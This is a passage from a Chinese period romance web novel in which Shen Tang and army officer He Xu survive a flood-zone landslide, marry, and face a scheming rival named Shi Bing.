见许婷还想打人,她连忙拦住:“你现在该做的是整理自己的衣服和头发,免得有人来了说不清楚。” 这年头女人的清白等于第二条命,要是被人知道她没结婚就被个男人占了便宜,流言蜚语能杀死人。 许婷眼眸充血,面色狠厉,将人打的半死不活,连饶命的声音都发不出来了才回了回神,把外套穿上。 知青点出事,附近的人也听到了动静,这会儿纷纷跑过来查看。 一看到村子里的二流子赵旺被打的生死不知,赶紧通知他们家爹娘去了。 赵旺家爹娘看到儿子被打成这副惨样,哭声震天动地。 “儿啊,谁把你打成这样啊,快,咱们快送医院啊。” “路堵了,这会儿哪去得了医院哦?” 许婷听着他们哭,双手抱臂,冷笑:“哭啊,尽管哭,哭完了今天,以后都没你哭的时候了。 他对我耍流氓,这件事我绝对不会善罢甘休!” 什么名声,什么面子,她许婷行事只有一个原则,谁惹她,谁就给她下地狱去! 第一卷 第62章 贺旭,等回去,我们结婚吧。 赵旺娘哭道:“我儿子就是个老实人,他怎么可能对你耍流氓!” 许婷:“这人看着就是个二流子,我管你怎么辩解,今天要不是我同伴救了我,只怕我已经遭了他的毒手了。 这样的人,他活在世上就是一坨屎,不,他比一坨屎还要垃圾,还要无用! 我告诉你们,我姨父军区的师长,他敢欺负我,我一定要他枪毙!” 赵旺娘被吓住了,自己儿子自己肯定清楚是什么德行。 她结结巴巴的道:“就、就算他对你耍流氓,那也是你先勾引他的!” 这时,石冰带着众人回来了。 一看到许婷没出事,眼底闪过一丝失望。 但她很快就挤进了人群,装作担忧问:“怎么了,出什么事了?” 她刚走到许婷身边,许婷反手就是一个巴掌过去。 打的石冰整个人都懵了。 “石冰,发什么事你难道不清楚吗?” 当时她被那男人捂住嘴巴,她拼命反抗,闹出的动静那么大,还叫了救命。 可这人呢,不仅不救她,还试图让沈棠她们离开院子。 她就是故意的。 这个恶毒的女人! 许婷死死的盯着她。 石冰憋着一口气:“许婷同志,你不要太过分,我怎么知道你发生了什么事?” 她心里忍不住埋怨沈棠,平日里就属她和许婷关系最差,许婷出事,她不该巴不得吗?怎么还去救她? 多管闲事! 许婷没有证据,但她心里可记着这次的仇呢。 她恨石冰,但她现在最恨的,还是这对夫妇和这个流氓! 许婷抄起铁铲,对着男人命根子狠狠砸了下去,对方“嗷”的一声尖叫,显然刚才的全是皮外伤,这一次才叫痛到他骨头里去。 “勾引?就你儿子长的这狗熊样,老娘我就算是光棍一辈子,也不会勾引你儿子这样的腤臜货!” 赵旺娘惊叫一声“儿子”! 这可是他们家三代单传的命根子啊! 愤怒之下她直接冲过去打许婷:“我打死你贱人……” “来啊,今天动我一下,我让你全家都吃枪子!” 村子里的人赶忙拦住。 你一言我一言的劝她。 这姑娘一看就不是好惹的啊。 村长也站出来了,他们村子要是出个坐牢的,别说拖累大队了,说不定还得连累全村的儿郎。 “这位同志,闹到公安那边就没必要了,这样,我们把赵旺送到牛棚里,再让赵旺家赔你二十块钱,这事就这么了结了如何?” 许婷翻了白眼:“我可不缺那点钱。” 村长苍老眉头紧蹙,浑浊的眼睛在赵家和许婷之间打量。 到底不是村里的人,这事还真不好解决。 “那三十块,同志,你也没出什么事,这事就算了吧,赵旺家就这么一个独子,你已经打了他一顿了,再赔三十块钱,也差不多了。” 许婷是谁? 那就是有仇报仇的疯批。 村长的话在看她看来,简直就是放屁! 她知道在人家地盘上不能太嚣张,便故意让了点步,让众人以为在这件事上她可以商量。 可惜赵旺爹娘根本不领情。 他们认为许婷不敢闹,她要是去报警,他们就去军区说她被他们儿子摸了。 一个姑娘被男人摸了,还不知道要传出些什么闲话来,指不定还得浸猪笼呢! 许婷就是虚张声势! 最后赵旺爹娘连钱都没赔,带着自己儿子就回了家。 气的许婷脸色难堪至极。 但她并没有直接怼回去,反而选择了隐忍。 只要她回去,这些人一个也别想好过! 下午,众人挖到一半的路,就遇上了同样挖路进来的军人们。 两辆绿色的车穿过白蒙的雾气,停在道路中央。 上头跳下十几个军人,沈棠伸长脖子探了探,第一眼就瞧见了那个身高格外高男人。 “糖糖!” 贺旭看到人,惊喜交加,猛的冲了过来将她抱进怀里。 炙热又熟悉的怀抱让沈棠松了一口气。 直到胸被按疼了,她才反应过来将人推了推。 抬头笑了下:“你们这么快就过来了?” 贺旭看到安然无恙的姑娘,心里松了口气。 摸了摸她的额头,他脸色凝重:“我说怎么笑的这么傻,果然发烧了。” 沈棠撇嘴:“……你才傻。” 贺旭轻叹一声,将人再次抱紧怀里,赤红的眼眶有些湿润:“是,是我傻,真的吓死我了。” 他一路过来,手都是颤着的。 旁边的石冰看到这一幕,指甲不由掐进手心。 天气诡谲多变。 不一会儿又下起了雨。 贺旭让沈棠先回军区,他这边任务还没有做完,不少村民的家被毁,他们得留下来帮忙清理。 尤其是田地,好些即将成熟的稻谷都被淹没了。 沈棠被他扶着坐上车,望着渐渐变大的雨水。 她有些心神不安。 上辈子这时候,原身已经嫁给韩忠国,早就退出了文工团,对贺旭也没什么印象。 她根本不知道接下来贺旭是否有危险。 等等,原身对贺旭没有印象,是不是就说明贺旭早早就退伍了,所以原身上辈子在家属院生活那么多年,才一直没有见过贺旭! 眼看车子要启动,沈棠大喊了声:“等下,我要下车。” 石冰本来就烦,看到她这样往日的温柔神色全无:“下什么车?还闲不够乱吗?” 沈棠不理她,直接跳了下来。 山体滑落了几块石头。 前面的贺旭注意到了这一点,瞳孔一缩,立马朝身边的战友大喊:“快跑!” 他离沈棠这边近,下意识往她这边跑。 看到沈棠竟然下了车朝他跑来,他又气又急,幸好那山体滑坡不算严重,他离的不算近,这才躲过一劫。 贺旭拉着沈棠往后跑,到了安全地,忍不住怒骂:“你怎么下车了?你知不知道刚刚有多危险?” 沈棠:“我……” 她眼眶一红,不知道该怎么说。 明知道贺旭会出事,她怎么可能不担心? 谁知道山体突然就滑坡了。 沈棠忽然想到了一点,如果没有他们文工团的人拼命挖开了一点路,这些军人是不是刚好挖到这里,然后停顿在这里? 这片山体滑坡不算大,她不知道贺旭若是遭遇会怎么样。 但肯定会受重伤。 难怪上辈子原身嫁给韩忠国后没多久,就再也没有听到贺旭的消息了。 原来是这样。 沈棠猛的抱住贺旭,望着他那双满是担忧的眼睛。 她笑着道:“贺旭,等回去,我们结婚吧。” 贺旭骂人的话瞬间卡在了嗓子眼里。 他嘴角微翘了下,又回过神来:“别扯话题,赶紧的上车去医院看病,等我回去就看你。” 沈棠在他脸上亲了下,这才慢慢爬上了车。 车子启动,她依依不舍的朝他挥手,直到彻底看不见他的身影。 郝运笑容鸡贼:“嘿嘿,要不咱们同一天去领证?” 贺旭斜睨了他一眼:“谁要和你们同一天,我和糖糖必定是先领证那个。” 说完,他迈着大长腿走去了村子。 第一卷 第63章 商议结婚 车上。 石冰听到他们的话,猛的看向沈棠:“你们要领证了?” 沈棠头昏昏沉沉的,不太想说话,不过听她问,还是点了点头。 “我可听说贺旭爷爷想要给贺旭相亲,他应该不同意你们吧?” 沈棠心思转了转,石冰之前在隔壁市文工团,离首都千里迢迢的,她居然知道贺老爷子给贺旭安排了相亲。 该不会李红说的石冰有喜欢的人,就是贺旭吧? 沈棠眨了眨清澈的眸子:“贺爷爷他同意啊,冰冰姐,你又不是不知道我们家和贺家是邻居,我和贺旭那是青梅竹马一起长大的,贺爷爷好喜欢我呢。” 老爷子不同意就不同意呗,大不了放她爷爷出马。 两个老家伙互殴,看谁斗的过谁! 石冰眼眸微垂,神情淡淡:“是吗?” “啧,不会有人惦记着人家对象,嫉妒人家才说人家爷爷不同意的吧?” 许婷现在就盯着石冰,逮着机会就要说两句。 她虽然也有些失落和嫉妒,但转念一想,贺旭喜欢沈棠,总比喜欢石冰好啊! 反正轮不到她。 “许同志,你注意点口德吧,免得将来犯了小人,出了事,别怪我没提醒你。” “谁要你提醒,自己也不是个好人。” 石冰说闭上了眼睛,不想和她说话,一副自己生了病很累的样子。 其实大家都挺累的。 只有许婷一个人什么事也没干,那点感冒根本挡不住她活力四射的嘴。 沈棠睡了一路,醒过来的时候已经在医院了。 医院门被推开,贺旭端着保温盒进来。 “醒了?” 他将人扶起,又将鸡汤从保温盒里倒出来,一口一口的喂着她。 “你们的任务都出完了,那我睡了多久?” “大概有一天一夜了。” 贺旭伸手将她的头发挽到耳后。 气氛有些暧昧。 沈棠不好意思的抿了抿唇:“你这碗鸡汤不会要我钱吧?” 贺旭:“……” 他黑了脸,猛的敲了下她额头:“你都是我对象了,我要你钱干嘛?” 沈棠泪眼汪汪的揉了揉额头,不服气的嘟囔:“上回你不是要了吗?” 贺旭有点心虚:“上回你还不是我对象。” 沈棠鼓着包子脸瞪他:“下次你再敲我,我就不理你了。” 贺旭也有些后悔,他该不会太用力了吧? 这么想着,他凑上前给她吹了吹。 见她额头洁白无瑕,皮肤细嫩,没忍住在她额头上落下一吻。 病房门口的周玲瞪大了眼睛。 乖乖。 她说怎么一回首都,两个人都有了对象嘞。 “我算好日子,过两天正好有个吉日,咱们去领证吧。” 沈棠一愣,抠着手指,有点后悔:“会不会太快了……” 贺旭挑眉:“我不管,你说的等我回来就结婚的。” 沈棠结结巴巴找借口:“结、结婚申请没打。” “我早就打了。” “那家属院的房子呢?” “我也申请了,已经下来了,我还去看了,离你小姨家近,可以窜门。光线也不错,没有隔壁挡着,总共三间房,咱们住一间,以后孩子住一间,剩下一间可以给客人住。 院子里虽然没井,但我已经在找人打了,我这几天还去锄了地,种了些花,不臭也不香,粉色的,你应该会喜欢。” 沈棠倔强的问出了最后一个问题:“……彩礼呢。” 贺旭咧嘴一笑:“缝纫机、自行车、手表、收音机,我都找人定了,只等货到。 至于彩礼,我的存折都当做彩礼给你,行不行?” “存折里……多少钱?” “爷爷给了我七万,我手里有两千块。” 沈棠惊的嘴巴都没合拢。 沈母心疼她,临走之前还给她留了五千块钱,没想到贺老爷子给了贺旭这么多钱! 贺旭又紧张的问了一遍:“后天结婚?可以吗?” 他转了转眸子,凑到她耳边:“结婚后,可以随便摸我腹肌。” 沈棠耳尖红了红:“好、好吧。” 其实贺旭人蛮好的。 咳……她才不是因为她的腹肌好摸。 贺旭摸了摸小姑娘柔软的头发,又亲了一口她的红唇:“真乖。” 黏糊劲看的周玲牙都酸了。 她唱着歌走回去,立马就把这件事告诉了方政委。 方政委一点也不意外。 贺旭的结婚报告打上来,他也是看过的。 只不过这两孩子没说,他也就瞒着了。 大概是好事成双。 沈棠出了院,就被通讯员通知有自己的信。 看到地址,她内心的小人瞬间兴奋起来。 她还以为自己的稿子没过呢,两篇文中短篇的稿费只有十块钱,里面有一些票据。 长篇《娘嫁》则是千字三元,这时候不兴给稿费,福利倒是不错,各种票都有,千字三元已经是杂志社最大的让步了。 主要是沈棠的书确实新颖,勾子一个接着一个,让人看的恨的牙痒痒,恨不得让她把后面的内容写出来。 沈棠去供销社买了些糖果,又去市场买了块五花肉回了小姨家。 一路上回来,那些婶子看到她,纷纷恭喜她。 沈棠一愣,打听了一下才知道全军区的人都知道她要和贺旭领证了。 她耳尖爆红,这个贺旭,嘴巴真是一点也不把门。 当天晚上,贺旭就带着烟酒上了方政委家提亲。 这年头的人基本上相对了眼就可以结婚了,周玲当年和方政委就认识一天便领了结婚证,自然不会觉得两人后天领证会太急。 周玲和贺旭商议了许久结婚后要摆几桌酒席。 贺旭不打算请自己那对无良父母,至于老爷子腿脚不便,也肯定来不了军区。 沈棠父母远在大荒北,轻易不能回来,只剩下一个沈老爷子,同样也是腿脚不便无法过来。 大哥二哥三哥那边只有二哥和二嫂能请假过来,但贺旭将婚事定在了后天,即便是她打了电话过去,也没法在短时间内赶过来。 所以宴席只请家属院的人。 商议好要定几桌之后,大家欢笑着用完了晚饭。 傍晚散步,贺旭牵着沈棠的手一路往申请到的院子走去。 院子不大,门口朝南,里面原本有些杂草,都已经被贺旭清理干净。 屋内通了电,部队位置接近南方,冬天没有北方冷,床都是用的木板床。 床靠近白色墙壁,铺了一层厚实的棉被,坐上去软乎乎的。 旁边是红色的大衣柜,窗户边摆着一张长方形的木桌,一米六高的书架落在脚边,推开窗,就能看到一望无际又葱郁田地。 贺旭不是个爱看书的,这显然是给她弄的。 这两天他都住在这里,倒了杯甜水给递给她:“怎么样,哪里需要改一下吗?” 沈棠低头小口喝水以掩饰内心的尴尬:“还行,不用改。” 贺旭对上她那双清澈的眼眸,一时间也有些羞涩。 暧昧的气氛在暖黄的光芒里无形蔓延。 第一卷 第64章 领证啦 “糖糖。” 沈棠抬起头来。 男人黑眸里难掩温柔。 他从口袋里掏出两枚金戒指,握着她的手戴在她的无名指上。 望着小姑娘清丽小脸,郑重道:“我会对你好的。” 沈棠内心的小人兴奋的尖叫。 她鼓了鼓勇气,手里心的汗都要冒出来了:“我也会对你好的!” 贺旭一愣,随即莞尔。 “好。” 贺旭订做的金戒指是一对,沈棠给他戴上后,脸色发红的扑进他怀里。 小手搂住他的腰,暗暗摸了摸。 贺旭眼眸一暗,攥住她的手:“乱摸是要负责的。” 沈棠看到他眼里压抑的欲望,吓的赶紧把手缩回来。 贺旭轻笑出声,爽朗又爱意绵绵:“小怂包。” 沈棠哼了声:“你才怂。” 她是社恐,才不是胆小。 贺旭亲了亲她的脸,摸摸她的小脑袋:“好,我怂,不早了,我送你回去。” 两人说说笑笑的走回去。 贺旭看着她朝他挥手,蹦蹦跳跳的跑进院子,神色难掩温柔和开心。 送离了沈棠,他也转身走回院子。 忽然,他拧起了眉。 院子门口站着一个女人,白寸衫扎进军裤,两条黑色的鞭子梳的很是整齐。 看见贺旭露出一个温和的笑:“贺旭,不请我进去坐坐?” 贺旭面色冷淡:“不了,家里乱,没凳子。” 石冰也不尴尬,她走到满脸都是不耐烦的男人面前,站定:“怎么说,我们之前也有过''一段'',这么无情干什么,是怕你未婚妻误会?” 贺旭嘲讽似的扯了扯嘴角:“你到底想干什么?” 石冰笑的越发温柔:“我不想干什么,只是如果沈棠同志知道她的对象,当年是个不学无术的混混,还因为打人差点坐牢,你说,她会不会害怕呀?” 她见贺旭抿着唇不想说话,冷嗤了声:“我不计较当年你故意误导我参军地点,但我有个要求,希望你答应。” “什么要求?” “明天早上,陪我吃一顿饭。” 贺旭冷笑:“不行,我明天打结婚证。” “我不耽误你打结婚证,我只想和你吃一顿早饭。当年我曾说要请你吃顿饭,可惜一直没有机会,如今我们各自长大成熟,又再次相遇,在你没结婚前一起吃顿饭,是我最后的心愿,难道连这个小小的要求你都不肯答应我? 吃完早饭,从此之后,我再不纠缠你。” 贺旭挑了挑眉:“你该不会想来我家吃饭吧?” 石冰抿了抿唇,反问:“我不想吃其他的,只想吃你做的,不可以吗?” 贺旭轻笑:“行啊,我答应了,赶紧走吧,我可不想让人误会了。” 石冰眼神划过一道失落:“我就那么见不得人,让你这般弃如敝履?” “你这样的人,难道不该让人弃如敝履吗?” 男人无情的话将她一颗心打入了尘埃里。 石冰看着走进院子,毫不留情的将她挡在外面,神色从温柔转变成了怨毒。 蠢货。 贺旭心里嗤笑。 翌日,沈棠早早起来画好了妆。 她本想挑一件漂亮的连衣裙,不过小姨的话也提醒了她。 她和贺旭都是军人,两个人都带着红花,穿着军装拍结婚照,那意义多好啊。 这么想着,她就放弃了那些漂亮的衣服。 早上六点钟,贺旭就在门口等她了。 沈棠精神气都没了:“这么早啊?” 贺旭勾起唇角:“去到市里要半个小时,咱们先去国营饭店吃个早饭,七点半供销社开门,我们可以买好东西,八点去领证,领完证就可以去百货大楼,把三转一响买回来。” 沈棠叹了口气:“好吧。” 幸好她年轻,肤色白嫩,不用怎么上妆,涂点口红就好了。 大清早,赶集的人很多,沈棠虽然之前有点困,但看着一路过去的风景,那点睡意渐渐没了。 “缝纫机要不别买了,我又不会做衣服,文工团的日子不算忙,但也没什么空闲时间。收音机我也不要了,手表我一只了,要不也别买了?就买自行车,以及家用的物品?” “都听你的。” 沈棠立马就开心了,她最不喜欢的就是明明她不需要,还非得买,买来放着沾灰。 有着闲钱,她还不如多买顿肉吃。 他们前脚出了家属院,石冰后脚就来到了贺旭家。 她穿着一件黄色布拉裙,只扎了一根鞭子,额边留着须发,看起来温婉极了。 但莫名的,有点让人觉得眼熟。 她没有敲贺旭家的门,就站在外面,看着外面清风吹拂的田野,不由低头莞尔笑了下。 过了许久,贺家的门还没开。 她心里有些不好的预感,瞧见一个婶子走来,连忙上前:“婶子,贺营长今天不在家吗?” “贺营长早上和沈棠妹子去领证了,你找贺营长干什么?” 那位婶子看她打扮的漂漂亮亮的,狐疑的打量着她。 石冰僵着个脸笑了笑:“没什么,贺旭爷爷让我问他点事。” “这样啊。”那婶子急着去上班,听到她的话没怀疑,赶紧走了。 石冰站在原地,脸色发青,指甲恨不得掐进手心。 贺旭,他竟然骗她! 吃完了早饭,沈棠和贺旭去领了证。 结婚证是一张纸,左侧映着主席,右侧写着结婚证三个字,里面是两个人各自签上的名字,没有照片。 誓言也是对着国家发的。 出了门,贺旭一把抱起沈棠,开心起飞:“糖糖,我们结婚了!” 沈棠都快羞死了,用力捶了捶他:“好了,咱们赶紧去照相吧。” 领结婚证后会发给他们一条毛巾,还有两朵红花,正好扎在胸前去拍照。 拍照的老板一看两人姿势,胡子一吹:“脑袋别靠那么近……坐好坐好,靠着像什么样子?哎呀呀,两个小娃娃,没见过你们这么黏糊的。” 沈棠愤愤不平。 她想从后面趴在贺旭肩膀上拍照,被老板驳回。 她想拉着他的手臂,做个耶字表开心,被老板驳回。 她想和贺旭对视拍照,被老板驳回。 老板正的发红。 她气的想龇牙! 贺旭笑的嘴都合不拢。 第一卷 第65章 沈同志不知道我和贺旭的过往吧 最后跟老板沟通一翻,花了点小钱钱,老板终于同意了他们俩“奇葩”的拍照姿势。 拍完照,沈棠拉着贺旭去邮局寄合同。 贺旭看到她写的,有点惊讶:“这是你根据上次的事整理出来的常见拐卖方式?” 沈棠点头,因为上次差点被人拐卖,她就把前世新闻里说的那些常见拐卖方式整理了出来,打算发表,也算是警醒众人。 再花了点钱发电报,将他们结婚的消息告诉了京城与沈棠父母和三个哥哥,两人就打算去百货大楼买东西。 贺旭是想办结婚宴的,所以找了点关系,给她买了一件红盖头,就算从小姨家到他们家只有短短一百米院,他也想去接亲。 两人还买了被子、喜帖,还有花生、桂圆、红枣、喜糖等等招待客人的吃食。 自己吃的水果、鸡蛋饼、红虾酥、大白奶兔糖等等也得买。 这边的冬天还是冷的,沈棠看到百货大楼有炉子卖,又买了个炉子。 雪花膏、蛤蜊油、百雀羚沈棠也各买了一瓶备用。 锅碗瓢盆、肥皂、暖水壶、搪瓷杯、铝制饭盒、洗衣粉、自行车是必须要买的。 最近天气转凉,两人去了三楼买大衣,沈棠看到一件毛毯又软又绵,忍不住问了价格。 售货员看他们俩应该是新婚夫妇,立马介绍起了毛毯,一米八宽,两米长的毛毯,需要一张工业票和二十块钱才能拿下。 沈棠有点心疼钱了,看来钱再多也不经花。 来这一趟,花了四百多。 幸好今天贺旭借了车,不然这些东西都带不回去。 沈棠坐在副座上从袋子里掏出一块鸡蛋饼递给贺旭,自己吃了一块,别说,还真好吃。 两人正说着话,沈棠忽然瞥见何秋挽着一个男人的手进了百货大楼。 她一个激灵,立马探头去看。 “我刚刚好像看到了何秋,她挽的那个男人不像是韩忠国。” 贺旭不意外:“不像才正常,你以为韩忠国为何秋赔了那么多钱出去,心里一点意见都没有?” 沈棠回头,满眼疑惑。 “韩忠国这个人心里成算精着呢,你就看吧,何秋之前害你的事,过不了多久就会有报应。” 贺旭摸摸小姑娘的头,黑眸里酝酿让人察觉不到的阴狠:“届时,韩忠国家一定有一场好戏看。” 接亲当天,沈棠穿着军装,胸口处带着红花,扎着两条辫子,后面则是自行车和被子。 虽然没有鞭炮、也没有唢呐吹奏,但文工团的人和贺旭底下的兵都来了,跟在两侧唱着喜悦的歌欢送。 还别说,这个接亲仪式还挺特别的。 沈棠跟在贺旭身边敬酒,到了他团长跟前时,她才看到吴团长身边还有一个上了年纪的女人和一个没成年的孩子。 这应该就是吴团长刚来家属院的妻子了。 “嫂子好。”沈棠笑着打招呼。 女人有些胆小,小声的回了句:“弟妹好。” 吴团长看的心里一叹,真羡慕贺旭能娶到一个懂事又漂亮的妻子。 家属院热闹了一天,沈棠也累了一天。 贺旭烧了热水让她先去洗漱。 洗完之后,她坐在床边,想到接下来发生的事,有些紧张害怕。 暖黄的灯光照在的室内明亮。 房门转动被打开。 贺旭光着膀子走了进来。 看到散着头发坐在床上的姑娘,麦色的脸红了红。 他慢慢坐到沈棠旁边,从口袋里拿出一个锦盒,打开一看,里面放着是上回贺老头子给他的翡翠手镯。 “糖糖,我会对你好的。” 往日贼溜的嘴皮子在此刻好似失了伶俐,结结巴巴也就只有这么一句话。 沈棠肤色本来就白,听了他的话霞云一染,整个人都美的如桃花似的灼人眼球。 她伸出手,娇气的媚了他一眼:“那你给我戴上吧。” 贺旭没忍住咧了咧嘴,才戴上便迫不及待的将人抱上了床。 呼吸交错间,沈棠感觉自己就像只被狼惦记的小白兔,刚抬起的手被按在了两侧。 两双眸子对上,无形中好似增添了几分热气。 贺旭心里澎湃异常,却又微不可查的松了一口气。 在得知她被困在灾区之中时,他整个人惶恐到不知所措。 在看到她冒着危险朝他奔来时,他一颗心都忍不住跳了出来。 在看到她平安时,他恨不得将她压在身下狠狠教导一番。 只有在抱着她的时候,他那颗浮躁不安的心才能安稳下来。 如今,他终于娶到这个女孩了。 贺旭的轻咬住她莹润的小耳垂,像是在发泄自己内心的不安,却又舍不得欺负她半分。 沈棠只觉得整个身子酥麻了下。 清冷褐色眸眸里控制不住的蕴出一点泪光,清晰的映着贺旭那隐忍的黑眸,让人控制不住的为此沉沦。 他轻轻吻了吻她的眼睛,随即在她莹莹目光下,吻上她的唇。 月明星梳,红帐翻浪。 次日沈棠醒来已经中午了,她感觉自己骨头都要散架了。 腹肌虽好摸,但代价也颇高啊! 贺旭请了两天假,这会儿假已经用完了。 沈棠醒来就看见桌子上放着他大清早去打的早餐和纸条。 【去训练了,记得吃早饭。】 她甜滋滋的咧了咧嘴,洗漱过后一边吃早餐,一边想着等会将衣服洗了。 忽然,大门被敲了下。 沈棠抬头一看,石冰穿着蓝色格子布拉裙站在门口。 “打扰了,沈同志,我有点事想跟你说说。” 沈棠:来者不善啊! “冰冰姐坐吧,家里没烧热水,白开水喝吗?” 石冰手里拿着小包,笑不达眼底:“不了,我说两句话就走。” “昨日贺旭和你领证前,答应我要亲手做饭请我吃,谁知道我昨天去晚了,没赶上,还请沈同志帮忙问一下贺同志,这顿饭可以延迟到明天吗?” 沈棠抿了抿唇,心里有些不高兴:“贺旭一向听我的话,不如这样,石同志要是有事找贺旭,那就今天中午一起在家里吃一顿吧。 忘了告诉你了,贺旭做饭是真不好吃,尤其是早上做的包子,丑不垃圾的,请你吃饭怎么能在早上呢? 中午我去食堂买点菜,大家好好聊聊,毕竟是一个大院出来的,自然是要互相扶持。” 石冰脸色微微变了下,很快又恢复正常:“沈同志是不知道我与贺旭的过往吧?” 沈棠心里的小人已经狠揍贺旭八百拳了。 面上装的毫不在乎:“贺旭的事我都一清二楚,如果我不知道,那只能说明这件事它在贺旭心里并不重要。 石同志要是有什么事放不下,不如说给我听听?” 第一卷 第66章 贺旭还有个白月光? 石冰伪善的和蔼终于装不下去了。 她意识到了沈棠不好对付。 以往贺旭身边也不是没有女人靠近,可但凡她说两句模棱两可的话,就能让那些女的愤愤离场。 沈棠这般年轻,心性又赢弱,她以为只要挑拨一二,必定能让她大吵大闹起来。 届时自己再装可怜点,家属院那些长舌妇说不定就会造谣出什么话来。 她得不到的东西,她宁愿毁了也不给别人。 人也一样。 既然贺旭不愿意与她好好相处,那她就毁了他的名声,叫他这辈子都被人唾弃! 可谁想到,沈棠竟然这么牙尖嘴利,堵的她半句话都说不出来。 石冰眼底尽是寒光:“好啊,不过沈同志听了可别生气,毕竟当年也是我与贺旭先认识,先在一起的。” 沈棠心底沉了下去。 贺旭该不会还有个白月光吧? “就连当年参军之事,他都是为了我才参的军,我与贺旭之间有些矛盾和误会,他一直记恨着我,所以才会对我视而不见,选择了你。 我不也是故意要破坏沈同志你与贺旭的夫妻关系,只是有些事,总得有个结果,我来找贺旭,便是想了却我与贺旭之前的那段情谊。” 任谁在大婚第二天,听到自己丈夫跟别的女人的事,都会忍不住生气。 沈棠也是一样,她忍了又忍,话从牙缝里挤出来似的。 “冰冰姐这话可真是好笑,贺旭以往可从来没提过与冰冰姐有什么情谊。 这样吧,反正贺旭也快回来了,不如你们当面谈清楚,也免得有些人误会来误会去,叫人乱猜疑。” 石冰眼神闪了下:“那倒不用了,今天我还有事,明天……” “别呀,明天干什么,反正在等等人就回来了,再说了,我从小就住贺家旁边,怎么没听说过你和贺旭有什么交情啊?” 沈棠看她忽然软了态度,有些怀疑她刚刚是不是在故意激惹怒她。 石冰来军区后,看她的眼神总会让她觉得不舒服。 在文工团里,她也是处处拉拢其他人,试图孤立她。 要不是她有林晓和李红做朋友,李红又是李团长的侄女,估计这会儿她又没饭搭子了。 石冰见孤立她的事行不通,就话里话外埋陷阱,毁她名声。 这样的人,说出来的话她顶多相信两分。 “算了,总不好在你们新婚的时候打扰你们。” 石冰过来只是想挑起沈棠和贺旭的矛盾,可不是来解决问题的。 只要沈棠怀疑起贺旭,和他吵架,贺旭肯定会气急败坏的来找她,届时…… 她眉眼弯了下,阴寒的眸光极渗人。 沈棠没拦她,见她走了,气的想把手里的包子给扔了,可又不想浪费粮食,只能憋着气一口吞了! 贺旭敢有白月光,晚上她直接刀了他! 没过多久,贺旭手里提着食盒回来了。 晃晃悠悠的,咧着嘴,龇这个大牙,看起来贼开心。 瞧见沈棠蹲在门口,小小的一团鼓着包子脸,双眸着火似的盯着他。 贺旭伸手去摸她脑袋:“……咋了,谁惹你了?” 沈棠一巴掌扇掉他的手。 “别碰我,去找那个能让你亲手做早餐的姑娘呀!” 贺旭还没意识到事情的严重,咧嘴笑了笑:“你怎么知道我想做早餐给你吃?” 沈棠:“……” 好气啊o(′^`)o! “贺旭,我在跟你谈正事!” 贺旭叹气,一把将人抱起,吓的沈棠尖叫了声,没等她叫完,就被人放在了椅子上。 他蹲在她的面前,捏了捏她肉嘟嘟的小脸:“地上凉,你身子差,坐着,有啥事问我,我不会瞒你。” 沈棠心里大半的气被他弄没了,但气势还得卯足。 “石冰是怎么回事?” 贺旭深邃的眼眸闪过一丝阴狠:“她找你了?” 沈棠凶巴巴哼了声,双手抱臂,不想理他。 贺旭可怜巴巴的去抓她的手,被她甩来又再去抓:“我和石冰真没什么事,在这件事上,我可是真真切切的受害者。” 沈棠嘟囔:“谁知道你是不是在骗我?” “咱们两家住的那么近,我要是真能干出混事,你爷爷和你爸妈也不可能同意我俩在一起对不?” 沈棠想了想,好像是这样。 如果爷爷不同意,爸妈也不同意,她就算喜欢贺旭,也不会嫁他。 “那她为什么说你和她在一起过,还说你是因为她参的军?” “我和她可没在一起过,不过当年参军还真有一点她的原因。” “你……” “你听我说完。” 贺旭握着她的手把玩,神色也有些别扭:“石冰比我大一岁,从小到大我和她都没有什么交情,后来她随她妈妈离开了军区,我们就更没联系了,顶多就是认识这么个人罢了。 你也知道,离婚后的女人总是受人非议。 石冰当年没有转学,又和我同一个年级,有一次她被人堵在巷子欺负,我和我那些兄弟正好路过,想着她也是大院里的,就顺手救了她一次。 这事我本来也没放在心上,可偏偏她到处散布谣言,说她是我对象。 我知道她是想借用我混混的名声,让那些欺负她的人掂量掂量,可我也不是个蠢蛋,她这样做,出了什么事不得我来担责任? 然后我就把她被人欺负的事告诉了石老爷子。 谁知道石老爷子为人极严厉,将她叫回大院后把她大骂了一顿,还说什么为什么那些人不欺负别人就欺负她?指定是她哪里做的不够好。 我气不过,就为她说了两句,毕竟如果不是他儿子出轨,人家妈也不会离婚。 石老爷子的怒气这才散了。 然后……” 贺旭说到最后,有些心虚的低下头不敢看沈棠。 沈棠被他吊起了八卦之心,奶凶奶凶的瞪了他一眼:“赶紧说!” 他摸摸鼻子:“是这样,那时候我有点贪财,不然我也不会未成年就和黑市里的人牵扯上关系。 石老爷子拿了一笔小钱给我,请我不要澄清我不是她对象的事,说只要她等毕业就好了,我就没做声。 心想着我又虽然没否认,但我也没承认啊,不就是借名声一用吗?能换一笔钱也是划算。 这事我爷爷后来知道,把我骂了一顿。 石冰初中一毕业,我就找人澄清了谣言。” “那参军又是怎么回事?” 第一卷 第67章 贺旭觉得自己冤死了 贺旭说到这个就直起了腰:“参军这个事,主要原因肯定不是因为她。 你也知道我们贺家已经把祖上的家产都捐了,如果我不参军,以后就没办法入政,这事我爷爷早就跟我说过利弊。 之所以有一点因为她,是因为我当年澄清谣言后,她一直纠缠我,我被烦的不行,本来要十六才参军,愣生生的提前参了军。 我发誓,我真的和她没有过去,见面次数十个指头都能数出来。” 贺旭觉得自己真冤,他当年就贪了点小钱,哪里知道后面会有这么多麻烦? 早知道,还不如挨点打从老爷子手里抠。 沈棠有点怀疑:“就这样?你还和哪个姑娘有牵扯,赶紧一起说了。” 贺旭举手发誓:“我真没有,遇到你之前我都没开过窍!遇到你之后我才夜夜做春梦!” 沈棠脸一红:“不许乱说!” 贺旭唇角上翘,大手往小姑娘的大腿摸去:“还疼吗?” 沈棠知道他在说什么,脸似火烧似的一下子红透了。 “贺、旭!” “嘿嘿,老婆真乖。” 沈棠推了推人,眼泪汪汪的控诉:“我可不信你的话,你就会骗我,她今天那么信誓旦旦的说与你有交情,你……” 贺旭急了:“我真是受害者啊,石冰那个人手段是真狠,但凡和我有点关系的姑娘,都被她算计的要么名声尽失,要么清白尽失。 要不是我及时发现,我这辈子都得愧疚死,我爷爷也因为这个事才会让我赶紧来参军,我真是巴不得这辈子都遇不到这么个疯子。” “真的?” 沈棠眼圈里挂着泪,看的男人心都软成了一摊水。 “真的真的,老婆,我骗谁也不骗你。” 沈棠这才收回演技,娇气的哼了声,指着厨房:“去拿碗,我饿了。” 